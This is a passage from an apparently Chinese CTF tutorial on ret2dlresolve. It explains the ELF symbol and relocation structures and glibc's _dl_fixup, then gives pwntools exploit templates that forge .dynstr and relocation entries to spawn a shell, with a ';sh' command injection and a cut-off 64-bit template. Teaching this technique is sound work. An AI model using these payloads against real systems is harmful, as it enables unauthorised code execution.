&lt;td&gt;单个重定位项的大小，&lt;code&gt;d_val&lt;/code&gt;表示单个重定位项大小 (Size of one Rel reloc)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#define DT_SYMENT 11&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;单个符号表项的大小，&lt;code&gt;d_val&lt;/code&gt;表示单个符号表项大小 (Size of one symbol table entry)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Sym&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* Symbol table entry.  */

typedef struct
{
  Elf32_Word	st_name;		/* Symbol name (string tbl index) */
  Elf32_Addr	st_value;		/* Symbol value */
  Elf32_Word	st_size;		/* Symbol size */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char	st_other;		/* Symbol visibility */
  Elf32_Section	st_shndx;		/* Section index */
} Elf32_Sym; 
// size: 0x10

typedef struct
{
  Elf64_Word	st_name;		/* Symbol name (string tbl index) */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char st_other;		/* Symbol visibility */
  Elf64_Section	st_shndx;		/* Section index */
  Elf64_Addr	st_value;		/* Symbol value */
  Elf64_Xword	st_size;		/* Symbol size */
} Elf64_Sym;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sym 结构体用于描述 ELF 文件中的符号（Symbol）信息，其成员含义如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;st_name&lt;/code&gt;：指向一个存储符号名称的字符串表的索引，即&lt;strong&gt;字符串相对于字符串表起始地址的偏移&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;st_info&lt;/code&gt;：如果 &lt;strong&gt;&lt;code&gt;st_other&lt;/code&gt; 为 0&lt;/strong&gt; 则设置成 0x12 即可。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;st_other&lt;/code&gt;：决定&lt;strong&gt;函数参数&lt;/strong&gt; &lt;code&gt;link_map&lt;/code&gt; 参数是否有效。如果该值不为 0 则直接通过 &lt;code&gt;link_map&lt;/code&gt; 中的信息计算出目标函数地址。否则需要调用 &lt;code&gt;_dl_lookup_symbol_x&lt;/code&gt; 函数查询出新的 &lt;code&gt;link_map&lt;/code&gt; 和 &lt;code&gt;sym&lt;/code&gt; 来计算目标函数地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;st_value&lt;/code&gt;：符号地址相对于模块基址的偏移值。当符号是一个函数或者变量的时候，这个值就代表符号的虚拟地址。如果开启了pie，那么符号的实际地址就是加载的基地址加上这个值。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Rel&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* Relocation table entry without addend (in section of type SHT_REL).  */

typedef struct
{
  Elf32_Addr	r_offset;		/* Address */
  Elf32_Word	r_info;			/* Relocation type and symbol index */
} Elf32_Rel;

#define ELF32_R_SYM(val)    ((val) &amp;gt;&amp;gt; 8)
#define ELF32_R_TYPE(val)   ((val) &amp;amp; 0xff)
#define ELF32_R_INFO(sym, type)   (((sym) &amp;lt;&amp;lt; 8) + ((type) &amp;amp; 0xff))

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
} Elf64_Rel;

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
  Elf64_Sxword	r_addend;		/* Addend */
} Elf64_Rela;

#define ELF64_R_SYM(i)                        ((i) &amp;gt;&amp;gt; 32)
#define ELF64_R_TYPE(i)                        ((i) &amp;amp; 0xffffffff)
#define ELF64_R_INFO(sym,type)                ((((Elf64_Xword) (sym)) &amp;lt;&amp;lt; 32) + (type))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rel 结构体用于描述重定位（Relocation）信息，其成员含义如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;r_offset&lt;/code&gt;：加上&lt;strong&gt;传入的参数&lt;/strong&gt; &lt;code&gt;link_map-&amp;gt;l_addr&lt;/code&gt; 等于该函数对应 got 表地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r_info&lt;/code&gt; ：符号索引的低 8 位（32 位 ELF）或低 32 位（64 位 ELF）指示符号的类型这里设为 7 即可，高 24 位（32 位 ELF）或高 32 位（64 位 ELF）指示符号的索引即 &lt;code&gt;Sym&lt;/code&gt; 构造的数组中的索引。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;link_map_x86&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct link_map
  {
    ElfW(Addr) l_addr;    /* Difference between the address in the ELF
           file and the addresses in memory.  */
    char *l_name;   /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;    /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
    ...
    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
		      + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;link_map&lt;/code&gt; 是存储目标函数查询结果的一个结构体，我们主要关心 &lt;code&gt;l_addr&lt;/code&gt; 和 &lt;code&gt;l_info&lt;/code&gt; 两个成员即可。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;l_addr&lt;/code&gt;：目标函数所在 lib 的基址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;l_info&lt;/code&gt;：&lt;code&gt;Dyn&lt;/code&gt; 结构体指针，指向各种结构对应的 &lt;code&gt;Dyn&lt;/code&gt; 。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;l_info[DT_STRTAB]&lt;/code&gt;：即 &lt;code&gt;l_info&lt;/code&gt; 数组第 5 项，指向 &lt;code&gt;.dynstr&lt;/code&gt; 对应的 &lt;code&gt;Dyn&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;l_info[DT_SYMTAB]&lt;/code&gt;：即 &lt;code&gt;l_info&lt;/code&gt; 数组第 6 项，指向 &lt;code&gt;Sym&lt;/code&gt; 对应的 &lt;code&gt;Dyn&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;l_info[DT_JMPREL]&lt;/code&gt;：即 &lt;code&gt;l_info&lt;/code&gt; 数组第 23 项，指向 &lt;code&gt;Rel&lt;/code&gt; 对应的 &lt;code&gt;Dyn&lt;/code&gt; 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;struct link_map {
    Elf32_Addr l_addr;
    char *l_name;
    Elf32_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf32_Dyn *l_info[76];//l_info 里面包含的就是动态链接的各个表的信息
    const Elf32_Phdr *l_phdr;
    Elf32_Addr l_entry;
    Elf32_Half l_phnum;
    ... ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;dynamic 中的地址对应着 link_map 中 l_info 相应的指针，可从 link_map 取到 dynamic 结构中 &lt;code&gt;.rel.plt&lt;/code&gt; &lt;code&gt;.dynsym&lt;/code&gt; &lt;code&gt;.dynstr&lt;/code&gt; 对应的指针，为后来程序的执行提供各个节的基地址。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-linkmap-dynamic.png&quot; alt=&quot;link_map 与 dynamic 关系&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;_dl_runtime_resolve 函数&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 的核心函数为 &lt;code&gt;_dl_fixup&lt;/code&gt; 函数，这里是为了避免 &lt;code&gt;_dl_fixup&lt;/code&gt; 传参与目标函数传参干扰（&lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数通过栈传参然后转换成 &lt;code&gt;_dl_fixup&lt;/code&gt; 的寄存器传参）以及调用目标函数才在 &lt;code&gt;_dl_fixup&lt;/code&gt; 外面封装一个 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数。&lt;code&gt;_dl_fixup&lt;/code&gt; 函数的定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) {
    // 获取符号表地址
    # define D_PTR(map, i) ((map)-&amp;gt;i-&amp;gt;d_un.d_ptr + (map)-&amp;gt;l_addr)
    const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取字符串表地址
    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    // 获取函数对应的重定位表结构地址，sizeof (PLTREL) 即 Elf*_Rel 的大小。
    #define reloc_offset reloc_arg * sizeof (PLTREL)
    # define PLTREL  ElfW(Rel)
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 获取函数对应的符号表结构地址
    const ElfW(Sym) *sym = &amp;amp;symtab[ELFW(R_SYM) (reloc-&amp;gt;r_info)];
    // 得到函数对应的got地址，即真实函数地址要填回的地址
    void *const rel_addr = (void *) (l-&amp;gt;l_addr + reloc-&amp;gt;r_offset);
    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    // 判断重定位表的类型，必须要为 ELF_MACHINE_JMP_SLOT(7)
    assert (ELFW(R_TYPE)(reloc-&amp;gt;r_info) == ELF_MACHINE_JMP_SLOT);

    // ☆ 关键判断，决定目标函数地址的查找方法。☆
    if (__builtin_expect(ELFW(ST_VISIBILITY) (sym-&amp;gt;st_other), 0) == 0) {
        const struct r_found_version *version = NULL;

        if (l-&amp;gt;l_info[VERSYMIDX (DT_VERSYM)] != NULL) {
            const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX(DT_VERSYM)]);
            ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-&amp;gt;r_info)] &amp;amp; 0x7fff;
            version = &amp;amp;l-&amp;gt;l_versions[ndx];
            if (version-&amp;gt;hash == 0)
                version = NULL;
        }

        int flags = DL_LOOKUP_ADD_DEPENDENCY;
        if (!RTLD_SINGLE_THREAD_P) {
            THREAD_GSCOPE_SET_FLAG ();
            flags |= DL_LOOKUP_GSCOPE_LOCK;
        }

        // 查找目标函数地址
        // result 为 libc 的 link_map ，其中有 libc 的基地址。
        // sym 指针指向 libc 中目标函数对应的符号表，其中有目标函数在 libc 中的偏移。
        result = _dl_lookup_symbol_x(strtab + sym-&amp;gt;st_name, l, &amp;amp;sym, l-&amp;gt;l_scope,
                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);

        if (!RTLD_SINGLE_THREAD_P)
            THREAD_GSCOPE_RESET_FLAG ();

        // 基址 + 偏移算出目标函数地址 value
        value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym-&amp;gt;st_value) : 0);
    } else {
        // 这里认为 link_map 和 sym 中已经是目标函数的信息了，因此直接计算目标函数地址。
        value = DL_FIXUP_MAKE_VALUE (l, l-&amp;gt;l_addr + sym-&amp;gt;st_value);
        result = l;
    }

    value = elf_machine_plt_value(l, reloc, value);

    if (sym != NULL
        &amp;amp;&amp;amp; __builtin_expect(ELFW(ST_TYPE) (sym-&amp;gt;st_info) == STT_GNU_IFUNC, 0))
        value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR (value));

    if (__glibc_unlikely (GLRO(dl_bind_not)))
        return value;
    // 更新 got 表
    return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要注意的是 &lt;code&gt;_dl_fixup&lt;/code&gt; 中会有如下判断，根据这个判断决定了重定位的策略：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (__builtin_expect(ELFW(ST_VISIBILITY) (sym-&amp;gt;st_other), 0) == 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;_dl_fixup&lt;/code&gt; 函数在计算出目标函数地址并更新 got 表之后会回到 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数，之后 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数会&lt;strong&gt;调用目标函数&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;32 位 ret2dlresolve&lt;/h2&gt;
&lt;p&gt;在 32 位下我们可以利用 &lt;code&gt;ELFW(ST_VISIBILITY) (sym-&amp;gt;st_other)&lt;/code&gt; 为 0 时的执行流程进行控制流劫持，因为这个执行流程会自动计算目标函数的地址，&lt;strong&gt;不需要知道 libc 具体版本&lt;/strong&gt;，适用性更强。&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;ELFW(ST_VISIBILITY) (sym-&amp;gt;st_other)&lt;/code&gt; 为 0 时 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数的具体执行流程为：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-32bit-flow.png&quot; alt=&quot;32 位 ret2dlresolve 执行流程&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;link_map&lt;/code&gt; 访问 &lt;code&gt;.dynamic&lt;/code&gt; ，取出 &lt;code&gt;.dynstr&lt;/code&gt; ， &lt;code&gt;.dynsym&lt;/code&gt; ， &lt;code&gt;.rel.plt&lt;/code&gt; 的指针。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rel.plt + 第二个参数&lt;/code&gt; 求出当前函数的重定位表项 &lt;code&gt;Elf32_Rel&lt;/code&gt; 的指针，记作 &lt;code&gt;rel&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rel-&amp;gt;r_info &amp;gt;&amp;gt; 8&lt;/code&gt; 作为 &lt;code&gt;.dynsym&lt;/code&gt; 的下标，求出当前函数的符号表项 &lt;code&gt;Elf32_Sym&lt;/code&gt; 的指针，记作 &lt;code&gt;sym&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.dynstr + sym-&amp;gt;st_name&lt;/code&gt; 得出符号名字符串指针。&lt;/li&gt;
&lt;li&gt;在动态链接库查找这个函数的地址，并且把地址赋值给 &lt;code&gt;*rel-&amp;gt;r_offset&lt;/code&gt; ，即 GOT 表。&lt;/li&gt;
&lt;li&gt;调用这个函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;NO RELRO 情况下：改写 .dynamic 的 DT_STRTAB&lt;/h3&gt;
&lt;p&gt;这个只有在 checksec 时 &lt;code&gt;NO RELRO&lt;/code&gt; 可行，即 &lt;code&gt;.dynamic&lt;/code&gt; 可写。因为 &lt;code&gt;ret2dl-resolve&lt;/code&gt; 会从 &lt;code&gt;.dynamic&lt;/code&gt; 里面拿 &lt;code&gt;.dynstr&lt;/code&gt; 字符串表的指针，然后加上 offset 取得函数名并且在动态链接库中搜索这个函数名，然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间，当 resolve 的时候，就能 resolve 成我们所指定的任意库函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里需要向存储&lt;code&gt;.dynstr&lt;/code&gt;地址的内存中写入我们伪造的&lt;code&gt;.dynstr&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-no-relro-fake-dynstr.png&quot; alt=&quot;NO RELRO 伪造 dynstr 示意&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;exp 板子&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-no-relro-exp.png&quot; alt=&quot;NO RELRO exp 结构&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;padding = 112 #到ret的padding
read_plt = elf.plt[&apos;read&apos;]
write_plt = elf.plt[&apos;write&apos;]
rop_addr = elf.bss()+0x100
leave_ret = next(elf.search(asm(&apos;leave;ret&apos;), executable=True))
ru(&apos;Welcome to XDCTF2015~!\n&apos;)
payload = flat(b&apos;A&apos; * (padding-4)
, p32(rop_addr)
, p32(read_plt)
, p32(leave_ret)
, p32(0)
, p32(rop_addr)
, p32(0x100)
)
pause()
sl(payload)

# 由于多函数调用在一个payload里会参数混乱，此时system的参数为p32(strtab)，所以采取shell注入的方式
fake_dynstr = b&apos;\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00read\x00stdout\x00setbuf\x00__libc_start_main\x00system\x00&apos; 
func_name = &apos;write&apos;

payload2 = flat(&apos;AAAA&apos;
, p32(read_plt)
, p32(elf.plt[func_name]+6) # push 20h;jmp plt[0]
, p32(0)
, p32(0x8049808) #  存储.dynstr的地址
, p32(0x100)
, fake_dynstr)
pause()
sl(payload2)
# 这里实际上是 system(p32(base_stage+24)+&apos;;sh&apos;) 而由于system(p32(base_stage+24))会调用失败，显示找不到这个命令，然后就会被&apos;;&apos;结束掉这个命令，开启下一个命令，也就是system(&apos;sh&apos;)
fake_str_addr = flat(p32(rop_addr + 24),&apos;;sh&apos;) # 覆盖strtab地址，并shell注入
pause()
sl(fake_str_addr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;.dynstr 伪造需要在 ida 中观察：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-ida-dynstr.png&quot; alt=&quot;IDA 中 dynstr 结构&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Partial RELRO 情况下：操纵第二个参数，使其指向我们所构造的 Elf32_Rel&lt;/h3&gt;
&lt;p&gt;由于 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数各种按下标取值的操作都没有进行越界检查，因此如果 &lt;code&gt;.dynamic&lt;/code&gt; 不可写就操纵 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数的第二个参数，使其访问到可控的内存，然后在该内存中伪造 &lt;code&gt;.rel.plt&lt;/code&gt; ，进一步可以伪造 &lt;code&gt;.dynsym&lt;/code&gt; 和 &lt;code&gt;.dynstr&lt;/code&gt; ，最终调用目标函数。&lt;/p&gt;
&lt;h4&gt;计算 reloc_arg 的方法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;reloc_arg = fake_rel_addr - .rel.plt(JMPREL)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;计算 r_info 的方法&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;n = (欲伪造的地址 - .dynsym基地址) / 0x10&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r_info = n &amp;lt;&amp;lt; 8&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;r_info = (((fake_sym_addr - .dynsym(SYMTAB))/0x10)&amp;lt;&amp;lt;8)|0x7
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;计算 st_name 的方法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;st_name = fake_name_addr - .dynstr(STRTAB)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;exp 板子&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-partial-relro-exp.png&quot; alt=&quot;Partial RELRO exp 结构&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def ret2dlresolve():
    func_name = b&quot;system&quot;
    func_args = b&quot;/bin/sh&quot;
    resolve_plt = elf.get_section_by_name(&apos;.plt&apos;).header[&apos;sh_addr&apos;]
    JMPREL = elf.dynamic_value_by_tag(&apos;DT_JMPREL&apos;)
    SYMTAB = elf.dynamic_value_by_tag(&apos;DT_SYMTAB&apos;)
    STRTAB = elf.dynamic_value_by_tag(&apos;DT_STRTAB&apos;)

    fake_rel_addr = rop_addr + 5 * 4
    reloc_offset = fake_rel_addr - JMPREL
    fake_sym_addr = rop_addr + 7 * 4
    align = (0x10 - ((fake_sym_addr - SYMTAB) &amp;amp; 0xF)) &amp;amp; 0xF
    fake_sym_addr += align
    r_info = ((fake_sym_addr - SYMTAB) // 0x10 &amp;lt;&amp;lt; 8) | 0x7  # 0x7 means R_386_JUMP_SLOT
    fake_rel = p32(elf.bss() + 0x10) + p32(r_info)
    fake_name_addr = fake_sym_addr + 4 * 4
    st_name = fake_name_addr - STRTAB
    fake_sym = p32(st_name) + p32(0) * 2 + p8(0x12) + p8(0) + p16(0)
    bin_sh_offset = (fake_sym_addr + 0x10 - rop_addr + len(func_name) + 3) &amp;amp; ~3
    bin_sh_addr = rop_addr + bin_sh_offset

    payload = p32(0)
    payload += p32(resolve_plt)
    payload += p32(reloc_offset)
    payload += p32(0)
    payload += p32(bin_sh_addr)
    payload += fake_rel
    payload += b&apos;\x00&apos; * align
    payload += fake_sym
    payload += func_name
    payload = payload.ljust(bin_sh_offset, b&apos;\x00&apos;)
    payload += func_args + b&apos;\x00&apos;
    return payload

if __name__ == &apos;__main__&apos;:

    offset = 112 #到ret的偏移
    rop_addr = elf.bss()+0x700
    payload = b&apos;a&apos; * (offset-4) 
    payload += p32(rop_addr)
    payload += p32(elf.plt[&apos;read&apos;])
    payload += p32(next(elf.search(asm(&apos;leave;ret&apos;), executable=True)))
    payload += p32(0)
    payload += p32(rop_addr)
    payload += p32(0x100)

    sl(payload)
    pause()
    sl(ret2dlresolve())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;64 位 ret2dlresolve&lt;/h2&gt;
&lt;h3&gt;注意事项&lt;/h3&gt;
&lt;h4&gt;关于索引&lt;/h4&gt;
&lt;p&gt;64 位下，plt 中的代码 push 的是待解析符号在重定位表中的索引，而不是偏移。&lt;/p&gt;
&lt;h4&gt;关于表的偏移&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DT_STRTAB&lt;/code&gt; 指针：位于 &lt;code&gt;link_map_addr + 0x68&lt;/code&gt;（32位下是 &lt;code&gt;0x34&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_SYMTAB&lt;/code&gt; 指针：位于 &lt;code&gt;link_map_addr + 0x70&lt;/code&gt;（32位下是 &lt;code&gt;0x38&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_JMPREL&lt;/code&gt; 指针：位于 &lt;code&gt;link_map_addr + 0xF8&lt;/code&gt;（32位下是 &lt;code&gt;0x7C&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;code&gt;_dl_runtime_resolve_avx&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;64位下，这个函数的参数仍然是用栈传参。&lt;/p&gt;
&lt;h4&gt;link_map_x64&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
    ...
    size_t l_tls_firstbyte_offset;
    ptrdiff_t l_tls_offset;
    size_t l_tls_modid;
    size_t l_tls_dtor_count;
    Elf64_Addr l_relro_addr;
    size_t l_relro_size;
    unsigned long long l_serial;
    struct auditstate l_audit[];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;NO RELRO&lt;/h3&gt;
&lt;p&gt;64位下 &lt;code&gt;NO RELRO&lt;/code&gt; 情况利用更简便，从栈传参变成了寄存器传参，不需要栈迁移，而且没有参数混乱的问题，一条 rop 链就能解决。&lt;/p&gt;
&lt;h4&gt;exp 板子&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-64bit-no-relro-exp.png&quot; alt=&quot;64 位 NO RELRO exp 结构&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;read_plt = elf.plt[&apos;read&apos;]
dynstr = 0x600988 + 8    
plt0 = elf.get_section_by_name(&apos;.plt&apos;).header.sh_addr
pop_rdi = next(elf.search(asm(&apos;pop rdi;ret&apos;),executable=True))
pop_rsi = next(elf.search(asm(&apos;pop rsi ; pop r15 ; ret&apos;),executable=True))
#伪造dynstr  
fake_dynstr = b&apos;\x00libc.so.6\x00stdin\x00system\x00&apos; #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00&apos;
target = elf.bss() + 0x100
offset = 120
payload = flat(
    cyclic(offset), 
    pop_rdi , 
    0 , 
    pop_rsi , 
    target , 
    0 , 
    read_plt , # 将&apos;/bin/sh&apos;以及伪造的strtab写入bss段
    pop_rdi , 
    0 , 
    pop_rsi , 
    dynstr , 
    0 , 
    read_plt , # 将.dynamic中的strtab地址改为我们伪造的strtab的地址
    pop_rdi , 
    target , #/bin/sh
    plt0 , 
    1 # 调用.dl_fixup,解析strlen函数，由于我们已经在fake_strtab中将strlen替换成system，所以将会解析system函数
)
ru(b&apos;Welcome to XDCTF2015~!\n&apos;)
sl(payload)  
#发送system的参数以及伪造的strtab
payload2 = b&apos;/bin/sh\x00&apos;.ljust(0x10,b&apos;\x00&apos;) + fake_dynstr  
sleep(1)  
sl(payload2)  
sleep(1)  
#修改dynsym里的strtab的地址为我们伪造的dynstr的地址  
sl(p64(target+0x10)) 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Partial RELRO&lt;/h3&gt;
&lt;p&gt;64 位下伪造时（&lt;code&gt;.bss&lt;/code&gt; 段离 &lt;code&gt;.dynsym&lt;/code&gt; 太远） &lt;code&gt;reloc-&amp;gt;r_info&lt;/code&gt; 也很大，最后使得访问 &lt;code&gt;ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-&amp;gt;r_info)] &amp;amp; 0x7fff;&lt;/code&gt; 时程序访存出错，导致程序崩溃。因此我们退而求其次选择 &lt;code&gt;ELFW(ST_VISIBILITY) (sym-&amp;gt;st_other)&lt;/code&gt; 不为 0 时的程序执行流程，此时计算的目标函数地址为 &lt;code&gt;l-&amp;gt;l_addr + sym-&amp;gt;st_value&lt;/code&gt; 。&lt;/p&gt;
&lt;p&gt;虽然这种方法无法在不知道 libc 版本的情况下完成利用，但是可以在不泄露 libc 基址的情况下完成利用。&lt;/p&gt;
&lt;p&gt;为了实现 64 位的 ret2dlresolve ，我们需要作如下构造：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;resolve&lt;/code&gt; 函数传入的第二个参数为 0 ，从而从 &lt;code&gt;Elf64_Rel&lt;/code&gt; 数组中找到第一个 &lt;code&gt;Elf64_Rel&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;为了避免更新 got 表时内存访问错误，&lt;code&gt;Elf64_Rel&lt;/code&gt; 的 &lt;code&gt;r_offset&lt;/code&gt; 加上 &lt;code&gt;link_map-&amp;gt;l_addr&lt;/code&gt; 需要指向可读写内存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Elf64_Rel&lt;/code&gt; 的 &lt;code&gt;r_info&lt;/code&gt; 的低 32 比特设置为 &lt;code&gt;ELF_MACHINE_JMP_SLOT&lt;/code&gt; 即 7 。&lt;/li&gt;
&lt;li&gt;为了避免下面这行代码访存错误，需要让 &lt;code&gt;l_info[5]&lt;/code&gt; 指向可读写内存：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Elf64_Rel&lt;/code&gt; 的 &lt;code&gt;r_info&lt;/code&gt; 的高 32 比特设置为 0，这样找的就是 &lt;code&gt;Elf64_Sym&lt;/code&gt; 数组中的第一个 &lt;code&gt;Elf64_Sym&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;link_map-&amp;gt;l_info[6]-&amp;gt;d_un.dptr&lt;/code&gt; 指向 &lt;code&gt;puts@got - 8&lt;/code&gt;，这样就伪造出 &lt;code&gt;Elf64_Sym&lt;/code&gt; 的 &lt;code&gt;st_value&lt;/code&gt; 为 &lt;code&gt;puts&lt;/code&gt; 函数地址，同时 &lt;code&gt;st_order&lt;/code&gt; 也大概率为非 0 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;link_map&lt;/code&gt; 的 &lt;code&gt;l_addr&lt;/code&gt; 设置为 &lt;code&gt;&amp;amp;system - &amp;amp;puts&lt;/code&gt;，这样 &lt;code&gt;l-&amp;gt;l_addr + sym-&amp;gt;st_value&lt;/code&gt; 结果就是 &lt;code&gt;system&lt;/code&gt; 函数地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-64bit-partial-relro.png&quot; alt=&quot;64 位 Partial RELRO 结构示意&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;exp1 板子&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &apos;debug&apos;
context.arch = &apos;amd64&apos;
p = process([&apos;./without_leak&apos;])
elf = ELF(&apos;./without_leak&apos;)
libc = ELF(&apos;/lib/x86_64-linux-gnu/libc.so.6&apos;)

rw_mem = elf.bss() + 0x10

n64 = lambda x: (x + 0x10000000000000000) &amp;amp; 0xFFFFFFFFFFFFFFFF


def build_fake_link_map(fake_linkmap_addr, func, base_func=&apos;puts&apos;):
    offset = n64(libc.sym[func] - libc.sym[base_func])
    linkmap = p64(offset)  # l_addr
    linkmap = linkmap.ljust(0x68, b&apos;\x00&apos;) 
